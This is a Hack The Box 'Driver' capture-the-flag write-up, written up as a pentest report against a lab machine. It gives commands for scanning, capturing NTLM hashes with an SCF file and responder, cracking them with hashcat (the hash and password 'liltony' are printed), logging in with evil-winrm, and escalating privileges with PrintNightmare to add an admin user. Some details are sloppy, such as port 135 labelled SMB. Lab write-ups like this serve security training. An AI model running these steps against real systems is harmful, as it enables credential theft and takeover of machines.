Driver.md

HTB - Driver

Introduction

This penetration test report documents the assessment of a target with IP address 10.10.11.106. The target had several open ports, including 80, 135, 445, and 5985. The report details the techniques and commands used during the assessment.

Initial Enumeration

Nmap Scan

The initial port scan was performed using Nmap to identify open ports on the target:

nmap -sV 10.10.11.106 -p-

• Port 80: Open HTTP
• Port 135: Open
• Port 445: Open (SMB Detected, Windows 10 Enterprise)
• Port 5985: Open (WinRM)

Web Application Assessment

Port 80 - HTTP

Accessing port 80 revealed a web interface with default credentials "admin:admin":

A firmware update form was found on the webserver.

Port 135 - SMB

Nmap script scanning was performed on port 445 to identify potential vulnerabilities.

nmap 10.10.11.106 --script default -p 445

Port 5985 - WinRM

The port 5985 was identified as WinRM. To exploit this service, a scf file was created and uploaded.

Running the responder tool

sudo responder -I tun0 -vv

Crackign the hash

hashcat -a 0 -m 5600 hash ~/Documents/wordlist/rockyou.txt -o cracked.txt -O

➜ driver cat cracked.txt
TONY::DRIVER:aa3213f6bddb7f21:027d303db925437d40b8a2b97761ea1e:0101000000000000000df1b30221d80187d57a29f83211e70000000002000800360053004700590001001e00570049004e002d0053004a00500049004b004f0048004e005a003400570004003400570049004e002d0053004a00500049004b004f0048004e005a00340057002e0036005300470059002e004c004f00430041004c000300140036005300470059002e004c004f00430041004c000500140036005300470059002e004c004f00430041004c0007000800000df1b30221d80106000400020000000800300030000000000000000000000000200000f346e2611060305a04f7a3c0025899e81fbc99ba42dd12d4aaa0fda3b4c1d6db0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e0032003700000000000000000000000000:liltony
➜ driver

Password is liltony

Opening smb with nautilus

Using Evil-WinRM

evil-winrm -i 10.10.11.106 -u tony -p 'liltony'

Displaying console history

type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

We can see a printer...

Privilege Escalation

CVE-2021-1675 ("Printer Nightmare")

A custom PowerShell script was uploaded and executed to escalate privileges. This resulted in obtaining administrator-level access.

then use Import-Module .\cve-2021-1675.ps1

Admin List :

net localgroup Administrators

Creating a new user :

Connecting with our new administrator

evil-winrm -i 10.10.11.106 -u adm1n -p 'P@ssw0rd'

Conclusion

In conclusion, this penetration test successfully identified vulnerabilities in the target system, allowing for unauthorized access, privilege escalation, and control over the target using WinRM, hash craking and printer nightmare Exploit. The report provides a detailed account of the techniques and commands used during the assessment.